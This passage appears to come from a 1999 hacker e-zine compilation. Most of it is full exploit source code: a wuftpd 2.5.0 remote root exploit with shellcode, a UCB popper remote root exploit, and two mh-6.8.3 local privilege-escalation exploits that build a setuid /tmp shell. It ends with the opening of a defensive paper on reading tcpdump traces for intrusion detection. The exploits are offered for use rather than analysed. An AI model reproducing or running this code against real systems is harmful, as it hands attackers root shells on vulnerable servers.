                  "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
                  "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
                  "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
                  "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
                  "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
                  "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
                  "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
                  "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
                  "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
                  "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
                  "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
                  "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
                  "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
                  "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
                  "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
                  "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
                  "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
                  "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
                  "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
                  "\xeb\x81";
      
      void usage() {
        int i;
      
        printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
               "Usage: wuftpd250-sploit <target> <type>\n\n"
               "<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"
      
      "Type Neeq  Distro  RPM                             Banner date\n"
      "---- ----  ------  ------------------------------- ----------------------------\n");
      
        for(i=0; presets[i].desc; ++i) {
          if(presets[i].mpsize)
            printf("%2d)  %s\n", i, presets[i].desc);
        }
      
        printf("\n"
        " eip   = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
        " ljmp  = errcatch JB_PC overwrite (heap, anonymous only)\n"
        " 2x    = errcatch JB_PC overwrite using 2x combo (heap)\n");
        exit(0);
      }
      
      
      void parse_url(char *url) {
        char *u, *s;
      
        u=strdup(url);
        if((s=strrchr(u, '@'))) {
          *s++=0;
          target_user=u;
          u=s;
          if(!(s=strchr(target_user, ':'))) usage();
          *s++=0;
          target_pass=s;
        }
        target_host=u;
        if((u=strchr(u, '/'))) {
          target_dir=strdup(u);
          *u=0;
        }
        if((s=strchr(target_host, ':'))) {
          *s++=0;
          if(!isdigit(*s)) usage();
          target_port=atoi(s);
        }
        else
          target_port=21;
      }
      
      
      void baile(char *s) {
        printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
        exit(1);
      }
      
      
      void bail(char *s) {
        printf("*** %s\n", s);
        exit(1);
      }
      
      
      /* Should work on all platforms */
      
      char *htol_LEstr(unsigned long num) {
        static unsigned char buf[5];
        unsigned long n;
      
        n=htonl(num);
        buf[0]=(n>>24)&0xff;
        buf[1]=(n>>16)&0xff;
        buf[2]=(n>>8)&0xff;
        buf[3]=n&0xff;
        buf[4]=0;
      
        if(strlen(buf) != 4 ||
           strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) {
          printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
          bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
        }
        return buf;
      }
      
      
      int connect_host() {
        char *p;
        int fd;
        struct sockaddr_in target, me;
        struct hostent *he;
        int me_len;
      
        /* Connect to victim */
        memset(&target, 0, sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        if(!inet_aton(target_host, &target.sin_addr)) {
          if(!(he=gethostbyname(target_host)))
            baile("Unable to resolve victim hostname.");
          memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
        }
        target.sin_port=htons(target_port);
        if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
        if(connect(fd, &target, sizeof(target))) baile("connect() failed");
        
        /* Get local hostname */
        me_len=sizeof(me);
        if(getsockname(fd, &me, &me_len))
          baile("Unable to determine local hostname!");
        if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
          local_hostname=strdup(he->h_name);
        else if((p=inet_ntoa(me.sin_addr))) {
          strcpy(local_hostname, p);
        }
        else
          baile("Unable to determine local hostname!");
      
        printf("*** Local hostname: %s\n", local_hostname);
        return fd;
      }
      
      
      char *get_response_str() {
        static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
        char *p;
      
        p=buf;
        while(read(ctrl, p, 1) == 1) {
          if(*p == '\r') {
            *p++=0;
            while(read(ctrl, p, 1) == 1 && *p != '\n')
              ;
            if(buf[3] == ' ') {
              if(verbose == 1)
                printf("%4.4s\n", buf);
              else if(verbose >= 2)
                printf("%s\n", buf);
                
              return buf;
            }
            p=buf;
            continue;
          }
          ++p;
        }
        bail("Server disconnected.");
        return 0; /* Never reached */
      
      }
      
      
      int get_response() {
        char *s;
      
        s=get_response_str();
        if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
          bail("Illegal response from server.");
        return atoi(s);
      }
      
      
      void send_command(unsigned char *cmd) {
        if(verbose == 1) printf("--> %4.4s\n", cmd);
        if(verbose >= 2) printf("--> %s\n", cmd);
        while(*cmd) {
          if(write(ctrl, cmd, 1) != 1) baile("write failed");
          if(*cmd == 0xff) /* 0xff -> IAC IAC */
            if(write(ctrl, cmd, 1) != 1) baile("write failed");
          ++cmd;
        }
        if(write(ctrl, "\r\n", 2) != 2)
          baile("write failed");
      }
      
      
      int mkd_cwd(char *dir) {
        char buf[1024];
        int r;
      
        sprintf(buf, "MKD %s", dir);
        send_command(buf);
        r=get_response();
        if(r !=  257 && r != 521) { 
          printf("*** Failed to create dir (reply=%d)\n", r);
          bail("Aborting.");
        }
        sprintf(buf, "CWD %s", dir);
        send_command(buf);
        r=get_response();
        if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
        return r;
      }
      
      
      /* update_buffer() + shovel_data() moves data between the shell and the
       * local terminal.
       */
      
      #define BUFSIZE 128
      
      int update_buffer(char *buf, int *idx, int thisone, int direction) {
        if(thisone < 0) {
          if(errno == EINTR || errno == EWOULDBLOCK)
            return 0;
          return 1;
        }
        if(!thisone)
          return 1;
        if(direction < 0) {
          if(thisone < *idx)
            memmove(buf, &buf[thisone], *idx-thisone);
          *idx-=thisone;
        }
        else
          *idx+=thisone;
        return 0;
      }
      
      
      void shovel_data(int netfd) {
        fd_set R,W;
        char obuf[BUFSIZE], ibuf[BUFSIZE];
        int o, i;
        int done;
        
        fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
        fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
        fcntl(netfd, F_SETFL, O_NONBLOCK);
        
        o=i=done=0;
        while(!done) {
          FD_ZERO(&R); FD_ZERO(&W);
          if(i > 0) FD_SET(STDOUT_FILENO, &W);
          if(i < BUFSIZE) FD_SET(netfd, &R);
          if(o > 0) FD_SET(netfd, &W);
          if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
          
          select(netfd+1, &R, &W, 0, 0);
          
          if(FD_ISSET(STDOUT_FILENO, &W))
            done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
          if(FD_ISSET(netfd, &W))
            done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
          if(FD_ISSET(STDIN_FILENO, &R))
            done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
          if(FD_ISSET(netfd, &R))
            done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
        }
      }
      
      
      /* Do the stuff common to the attacks */
      
      int do_prologue() {
        char buf[1024];
        char *s, *t;
        int pos;
      
        verbose=2;
        mkd_cwd_bail_on_error=1;
      
        if(get_response() != 220) bail("No welcome banner.");
        sprintf(buf, "USER %s", target_user);
        send_command(buf);
        if(get_response() != 331) bail("USER failed.");
        sprintf(buf, "PASS %s", target_pass);
        send_command(buf);
        if(get_response() != 230) bail("PASS failed.");
        if(target_dir) {
          sprintf(buf, "CWD %s", target_dir);
          send_command(buf);
          if(get_response() != 250) bail("CWD <writable dir> failed.");
        }
        send_command("PWD");
        s=get_response_str();
        if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
          bail("Unable to get current directory.");
      
        /* Pos is how much of mapped_path is used so far (excluding NULL) */
        pos=(t-(s+5));
      
        printf("*** Creating deep directory. This may take some time...\n");
        verbose=0;
      
        /* Align to 256 bytes (excluding trailing /) */
        memset(buf, 'A', sizeof(buf));
        buf[256-(pos+1)]=0;
        mkd_cwd(buf);
        pos+=1+strlen(buf);
      
        /* Keep going */
        memset(buf, 'A', sizeof(buf));
        buf[255]=0;
        while(pos+255 < mapped_path_size-256*2) {
          mkd_cwd(buf);
          pos+=1+strlen(buf);
        }
      
        printf("*** Time to bring out the c0de...\n"
               "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
        verbose=1;
      
        /* alarm(0) B} */
        /* c0de[131]=c0de[132]=c0de[255]; */
      
        /* First part of the code */
        strncpy(buf, c0de, 255);
        buf[255]=0;
        mkd_cwd(buf);
        pos+=1+255;
      
        /* Second part + pad */
        memset(buf, 'A', sizeof(buf));
        strncpy(buf, c0de+256, C0DE_SIZE-256);
        buf[255-12-1]=0;
        mkd_cwd(buf);
        pos+=1+strlen(buf);
      
        /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */
      
        return pos;
      }
      
      
      void attack_anon() {
        char buf[1024];
        int pos;
      
        if(target_user || target_pass)
          bail("Sorry, this type only works for anonymous FTP...");
      
        printf("*** Logging in as anonymous.\n");
      
        ctrl=connect_host();
      
        /* Calculate offsets */ 
        c0de_addr=mapped_path+mapped_path_size-255-256;
        owned_Argv=mapped_path+mapped_path_size-8;
        owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
        /* "ftpd: <host>: anonymous/" */
        owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);
      
        target_user="anonymous";
        sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
        target_pass=buf;
        
        pos=do_prologue();
      
        /* This last block starts at mapped_path[mapped_path_size-12] */
        memset(buf, 'A', sizeof(buf));
        /* Skip eeee for this method */
        strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
        /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
        strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
        strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
        pos+=1+strlen(buf);
      
        printf("*** Total egg size is %d. Sending final component.\n", pos);
        mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
        mkd_cwd(buf);
        printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
               "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
        /* Cause longjmp(errcatch) - only needed for the errcatch method */
        write(ctrl, "MRCP\r\n", 6);
      }
      
      
      void attack_any() {
        char buf[1024];
        int pos;
        int prefixlen;
      
        if(!target_user || !target_pass) {
          target_user="anonymous";
          target_pass="cr@ck.er";
          printf("*** Logging in as anonymous.\n");
        }
        
        ctrl=connect_host();
      
        /* Calculate offsets */
        c0de_addr=mapped_path+mapped_path_size-255-256;
        owned_Argv=mapped_path+mapped_path_size-8;
        /* "ftpd: <host>: <user>: CWD " */
        prefixlen=14+strlen(local_hostname)+strlen(target_user);
        
        /* 'anonymous/' pass */
        if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
          prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
        
        pos=do_prologue();
      
        /* First CWD */
        owned_Argv0=eip_addr-prefixlen;
        owned_Argv=mapped_path+mapped_path_size-8;
        owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
      
        memset(buf, 'A', sizeof(buf));
        strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
        strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
        strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
        pos+=1+strlen(buf);
        printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
        verbose=1;
        printf("*** Round-house kick.\n");
      
        mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
        if(mkd_cwd(buf) == 250) {
          send_command("CWD .."); /* Back up if the chdir() was successful */
          get_response();
        }
      
        /* Second CWD.
         *
         * Borrow some room near TOP_OF_STACK ("free space") as a safe place for
         * the remaining times setproctitle() is called.
         */
        owned_Argv0=TOP_OF_STACK-8;
        owned_LastArgv=TOP_OF_STACK-1;
      
        strncpy(buf, htol_LEstr(c0de_addr), 4);
        strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
        strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
      
        printf("*** Elite-airborne-double-kick-to-the-head as featured in "
               "The Matrix.\n");
        mkd_cwd(buf);
      
        printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
        write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */  
      }
      
      
      int main(int argc, char *argv[]) {
        int i;
      
        if(argc != 3 || !isdigit(*argv[2])) usage();
        
        parse_url(argv[1]);
      
        /* Find the preset */
        for(i=0; presets[i].desc; ++i) {
          if(i==atoi(argv[2]))
            break;
        }
        if(!presets[i].mpsize) bail("No such target type.");
        
        mapped_path_size=presets[i].mpsize;
        mapped_path=presets[i].mp;
        eip_addr=presets[i].eip_addr;
      
        (presets[i].attack)();
      
        signal(SIGINT, SIG_IGN);    /* Get rid of accidental ctrl-C */
        write(ctrl, "id\n", 3);     /* assert(0wnage) */
        shovel_data(ctrl);
        write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */
      
        printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
        return 0;
      }
      
      
      @HWA      
      
36.0  ucb.c remote UCB popper exploit
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.hack.co.za/
      
      /* 
       * Remote root exploit for UCB popper on Linux 
       *
       * sk8@lucid-solutions.com
       * http://www.lucid-solutions.com
       * 
       * Usage: ( ./linux-ucb 0 ; cat ) | nc your.host.com 110
       * Try adjusting offsets by 100.
       *
       * Tested on UCB Pop server (version 1.831beta) 
       * 
       * I figure it's safe to release this since UCB is not that 
       * common anymore.  But if you are still running it on your 
       * system(s), you had better upgrade.  This program shows you 
       * why.
       * 
       */
      
      #include        <stdio.h>
      #include        <stdlib.h>
      #include        <unistd.h>
      #include        <sys/errno.h>
      
      /* Linux x86 shellcode */
      char *shell=
          "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
          "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
          "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
          "\xff\xff/bin/sh";
      
      
      #define ADDR 0xbffff1d8 
      #define OFFSET 0
      #define BUFLEN 1100
      
      char    buffer[BUFLEN];
      int     offset=OFFSET;
      
      
      int main (int argc, char *argv[]) {
              int i;
      
              if(argc > 2) {
                      printf("Usage: %s [offset]\n",argv[0]);
                      exit(0);
              }
              if(argc==2)
                      offset=atoi(argv[1]);
      
              /* Set up the buffer */
              memset(buffer,0x90,BUFLEN);
              memcpy(buffer+BUFLEN-200-strlen(shell),shell,strlen(shell));
              for(i=BUFLEN-200+1;i<BUFLEN-4;i+=4) 
                      *(int *)&buffer[i]=ADDR-BUFLEN+100+offset; 
              buffer[BUFLEN-1]='\n';
      
              printf("%s\n", buffer); 
      }
      
      
      @HWA      
      
37.0  mh-6.8.3 / bbc  Exploit for Linux (Shadow Penguin) 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From http://www.hack.co.za/ 

      /*=============================================================================
         mh-6.8.3 / bbc  Exploit for Linux 
         The Shadow Penguin Security (http://shadowpenguin.backsection.net)
         Written by
          UNYUN     (shadowpenguin@backsection.net)
        =============================================================================
      */
      #include <stdlib.h>
      #include <stdio.h>
      
      #define BBC_PATH "/usr/jp/bin/mh/bbc"
      #define RET_ADR  1009
      #define FAKE1    1013
      #define FAKE2    1017
      #define FAKE_OFS 0x2274
      #define JMP_OFS  0x3000
      #define MAXBUF   3000
      #define NOP      0x90
      #define SHELL    "/tmp/pp"
      #define COMPILER "gcc"
      
      char exec[60]= 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";
      
      char            xx[MAXBUF+1];
      unsigned int    i,ip,sp;
      FILE            *fp;
      
      
      unsigned long get_sp(void)
      {
      __asm__("movl %esp, %eax");
      }
      
      main(int argc,char *argv[])
      {
          strcat(exec,SHELL);
          sprintf(xx,"%s.c",SHELL);
          if ((fp=fopen(xx,"w"))==NULL){
              printf("Can not write to %s\n",xx);
              exit(1);
          }
          fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
          fclose(fp);
          sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
          system(xx);
          sp=get_sp();
          printf("ESP = %x\n",sp);
          memset(xx,NOP,MAXBUF);
          ip=sp-FAKE_OFS;
          xx[FAKE1  ]=ip&0xff;
          xx[FAKE1+1]=(ip>>8)&0xff;
          xx[FAKE1+2]=(ip>>16)&0xff;
          xx[FAKE1+3]=(ip>>24)&0xff;
          xx[FAKE2  ]=ip&0xff;
          xx[FAKE2+1]=(ip>>8)&0xff;
          xx[FAKE2+2]=(ip>>16)&0xff;
          xx[FAKE2+3]=(ip>>24)&0xff;
          ip=sp-JMP_OFS;
          xx[RET_ADR  ]=ip&0xff;
          xx[RET_ADR+1]=(ip>>8)&0xff;
          xx[RET_ADR+2]=(ip>>16)&0xff;
          xx[RET_ADR+3]=(ip>>24)&0xff;
          strncpy(xx+800,exec,strlen(exec));
          xx[MAXBUF]=0;
          if (argc!=2)
              execl(BBC_PATH,"bbc","test","-file",xx,(char *) 0);
          else
              execl(argv[1],"bbc","test","-file",xx,(char *) 0);
      }
      
      @HWA      
      
38.0   mh-6.8.3 / inc  Exploit for Linux (Shadow Penguin)
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       From http://www.hack.co.za/

      /*=============================================================================
         mh-6.8.3 / inc  Exploit for Linux 
         The Shadow Penguin Security (http://shadowpenguin.backsection.net)
         Written by
          UNYUN     (shadowpenguin@backsection.net)
        =============================================================================
      */
      #include <stdlib.h>
      #include <stdio.h>
      
      #define BBC_PATH "/usr/jp/bin/mh/inc"
      #define RET_ADR  1017
      #define JMP_OFS  0x1f30
      #define MAXBUF   3000
      #define NOP      0x90
      #define SHELL    "/tmp/pp"
      #define COMPILER "gcc"
      
      char exec[60]= 
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";
      
      char            xx[MAXBUF+1];
      unsigned int    i,ip,sp;
      FILE            *fp;
      
      
      unsigned long get_sp(void)
      {
      __asm__("movl %esp, %eax");
      }
      
      main(int argc,char *argv[])
      {
          strcat(exec,SHELL);
          sprintf(xx,"%s.c",SHELL);
          if ((fp=fopen(xx,"w"))==NULL){
              printf("Can not write to %s\n",xx);
              exit(1);
          }
          fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}");
          fclose(fp);
          sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
          system(xx);
          sp=get_sp();
          printf("ESP = %x\n",sp);
          memset(xx,NOP,MAXBUF);
          ip=sp-JMP_OFS;
          xx[RET_ADR  ]=ip&0xff;
          xx[RET_ADR+1]=(ip>>8)&0xff;
          xx[RET_ADR+2]=(ip>>16)&0xff;
          xx[RET_ADR+3]=(ip>>24)&0xff;
          strncpy(xx+800,exec,strlen(exec));
          xx[MAXBUF]=0;
          if (argc!=2)
              execl(BBC_PATH,"inc","-file",xx,(char *) 0);
          else
              execl(argv[1],"inc","-file",xx,(char *) 0);
      }
      
      @HWA      
      
39.0 Interpreting Network Traffic:by Richard Bejtlich
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From http://www.security-focus.com/

     Interpreting Network Traffic: A Network Intrusion Detectors Look at Suspicious Events
     by Richard Bejtlich <bejtlich@altavista.net>
     Thu Nov 18 1999 
    
    
      Interpreting Network Traffic:
    
      A Network Intrusion Detectors Look
    
      at Suspicious Events
    
      by Richard Bejtlich
      bejtlich@altavista.net
    
      v 2.0 28 Oct 99
    
      The purpose of this paper is to discuss interpretations of selected
      network traffic events from the viewpoint of a network intrusion detection 
      analyst. (I define an "event" as any TCP/IP-based network traffic which
      prompts an analyst to investigate further. Generally, a suspicion that 
      traffic has an abnormal or malicious character should prompt a closer look.) 
      I assume the analyst has no knowledge of the source of the event outside of 
      the data collected by his network-based intrusion detection system (NIDS) or
      firewall logs. I do not concentrate on the method by which these events are
      collected, but I assume it is possible to obtain data in TCPDump format. 
      Using this standard allows a consistent presentation and interpretation of 
      network traffic.
    
      I thank Steven Northcutt for writing "Network Intrusion Detection:
      An Analysts Handbook." His work prompted me to analyze my own IDS output 
      more closely, resulting in the traces you see today. I must also thank my
      coworkers for sharing their technical expertise and for reviewing this 
      paper. 
    
      [ The Problem ]
    
      Network intrusion detection is part art and part science. When
      confronted by abnormal network traffic, one must answer several questions:
    
      - What is happening?
      - What caused the traffic to be generated?
      - Is malicious intent involved?
      - What is the appropriate course of action?
    
      Since few people in the network security field are "experts," 
      answering several of these questions requires a combination of creativity 
      and logic. Thinking creatively helps imagine what sort of activity might have 
      generated the traffic seen in his NIDS or firewall logs. Thinking logically 
      assists the understanding of the actions necessary to generate suspicious 
      traffic. 
    
      While the interpretation techniques explained here are pertinent to
      activity logged by a NIDS or firewall, I approach the subject from the NIDS
      angle. This my favorite subject, and I present this data with a warning:
      know the inner workings of your NIDS, or suffer frequent false positives 
      and false conclusions. 
    
      For example, perhaps a NIDS records connections only on ports 21, 23, 
      25, and 80, because you run services on these ports. If the NIDS alerts you 
      to attempted connections to these ports, it does not mean an intruder scanned 
      those ports alone. He may have hit ports 0 to 1023, with the NIDS only 
      seeing four attempted connections. Always wonder "what did the NIDS miss?" 
      This question is at the heart of an excellent paper by Tim Newsham and Tom 
      Ptacek, titled "Insertion, Evasion, and Denial of Service: Eluding Network 
      Intrusion Detection," available at: 
    
      http://www.nai.com/media/ps/nai_labs/ids.ps
    
      Jonathan Skinners summary is also worth perusing:
    
      http://www.nai.com/media/doc/nai_labs/ids-simple.doc
    
      Newsham and Ptacek remind us a NIDS may not be able to reconstruct
      events properly. From our earlier example, perhaps ports 21, 23, 25 and 80
      were not the destination on the host; they could be the source ports of
      another system sending packets to us. However, being low ports, the NIDS
      might assume they are destination ports on our host. The NIDS then presents
      a reversed direction of traffic. (If your NIDS does not make these mistakes
      often, consider yourself fortunate and a smart selector of NIDS software!)
    
      Having done network intrusion detection for the last year, I have 
      learned the most interesting activity occurs below the level of detail 
      offered by the NIDS console. Although many NIDS have improved collection, 
      interpretation, and presentation functions, some traffic can best be
      understood at the packet trace level. Relying solely on the alerts
      show by the NIDS can lead to missed or misunderstood events. If the NIDS 
      cannot show you packet-level action, the analyst is at the mercy of the NIDS 
      engines interpretation abilities. 
    
      A final goal of this paper is to promote the discussion of unrecognized
      traffic in the NIDS community. I present several events which could be seen 
      at first glance as scanning or forms of reconnaissance. Without a collection
      of properly categorized network signatures, preferably TCPDump or Snoop-based, 
      every new event forces analysts to "reinvent the wheel." (Note I prefer 
      TCPDump as it was the format of choice for Richard Stevens TCP Illustrated 
      volumes.) Should you disagree with my interpretations, I ask you to email me 
      so we can discuss those differences. I am no expert but I do recognize the 
      need to start a conversation among those concerned with network intrusion 
      detection.
    
      [ The Tool ]
    
      TCPDump is a utility which can help cut through the fog of
      mysterious traffic. It is a network monitoring program developed by the
      Lawrence Berkeley National Laboratory. It captures and reports traffic in a 
      consistent and frequently enlightening way. You can get the UNIX version at:
    
      ftp://ftp.ee.lbl.gov/TCPDump.tar.Z
    
      A team of students at the Italian Politecnico di Torino developed a 
      Microsoft Windows 95/98/NT port of this program called Windump, available 
      here:
    
      http://netgroup-serv.polito.it/windump/
    
      You can even use TCPDump to build a simple NIDS, as described by the
      Naval Surface Warfare Center Dahlgren:
    
      http://www.nswc.navy.mil/ISSEC/CID/step.htm
    
      You may also profit by examining the pioneering work done by the Network 
      Flight Recorder and L0pht:
    
      http://www.nfr.net and http://www.l0pht.com
    
      [ TCPDump Format ]
    
      A quick discussion of TCPDump output will help explain the traces 
      which follow. I highlight interesting portions of the traces by starting 
      with a short, standard, simple exchange of data via file transfer protocol.
    
      [ Note: All traces have been "sanitized" to remove the original 
      IPs. Any similarity to IPs actually in use is purely 
      coincidental. TCP service names are based on IANAs list:
      http://www.isi.edu/in-notes/iana/assignments/port-numbers
      I assume working knowledge of the transmission control 
      protocol. See the late Richard Stevens "TCP/IP 
      Illustrated, Volume 1: The Protocols" Thanks Mr. Stevens. ]
    
      Here is a packet-level conversation as seen by TCPDump, representing 
      the TCP three-way handshake and an exchange of data. Note I have not run
      TCPDump with the -v (verbose) option, although I do so in selected traces
      which follow. For the purposes of this example, verbose information does
      not add significantly to the explanation. (Essentially, verbose data in
      later examples displays time to live and protocol id values.) I present
      the entire exchange first, with line-by-line analysis following.
    
      1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
      S 1484414:1484414(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057:
      S 3037133697:3037133697(0) ack 1484415 win 9112 <mss 536> (DF)
      3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21:
      . ack 1 win 8576 (DF)
      4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113:
      S 3037242401:3037242401(0) win 8760 <mss 1460> (DF)
      5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309:
      R 0:0(0) ack 3037242402 win 0
      6. 14:05:27.564336 ftp.server.edu.21 > ftp.client.org.1057:
      P 1:88(87) ack 1 win 9112 (DF) [tos 0x10]
      7. 14:05:27.727461 ftp.client.org.1057 > ftp.server.edu.21:
      . ack 88 win 8489 (DF)
    
      (seven packets deleted for clarity)
    
      15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21:
      P 31:37(6) ack 183 win 8394 (DF)
      16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057:
      P 183:197(14) ack 37 win 9112 (DF) [tos 0x10]
      17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057:
      F 197:197(0) ack 37 win 9112 (DF) [tos 0x10]
      18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21:
      . ack 198 win 8380 (DF)
      19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21:
      F 37:37(0) ack 198 win 8380 (DF)
      20. ?
    
      The exchange has concluded, and I begin my explanation.
    
      1. 14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
      S 1484414:1484414(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
    
      Line one shows an initiating time of 14:05:27.083238, which means
      14 hours (2 pm), 05 minutes, and 27.083238 seconds. Packet transmission
      rate may help classify the activity as manually-inputted or computer-
      scripted. Packet type, combined with time, can help identify an event. 
      The many hundreds of packets sent per second help define a SYN flood, 
      which I discuss later. 
    
      We see ftp.client.org using port 1057 to connect to port 21 (ftp)
      at ftp.server.edu. Ports will play a crucial role in deciphering odd traces.
      In addition to trying to resolve any IP addresses listed, you should check
      the service name associated with any relevant ports. Port 1057 is not one
      of the well-known ports which can generally only be accessed as root (0-1023),
      but it does fall in the range of the registered ports (1024-49151), which can
      be accessed by most users and user processes. It is also in the range of the
      so-called "ephemeral" ports, from 1024 to 5000, from which many hosts 
      initiate connections to well-know ports. As port 1057 does not have a 
      service registered to it, it alone should not arouse suspicion.
    
      "S" represents "SYN," or the synchronization flag in the TCP header.
      Setting the SYN flag, without other flags (like ACK, FIN, PUSH, etc.) shows
      this is the first step of the three-way handshake. 
    
      Part of this first step is setting synchronization numbers. These
      numbers help each side of the conversation track the exchange of data. 
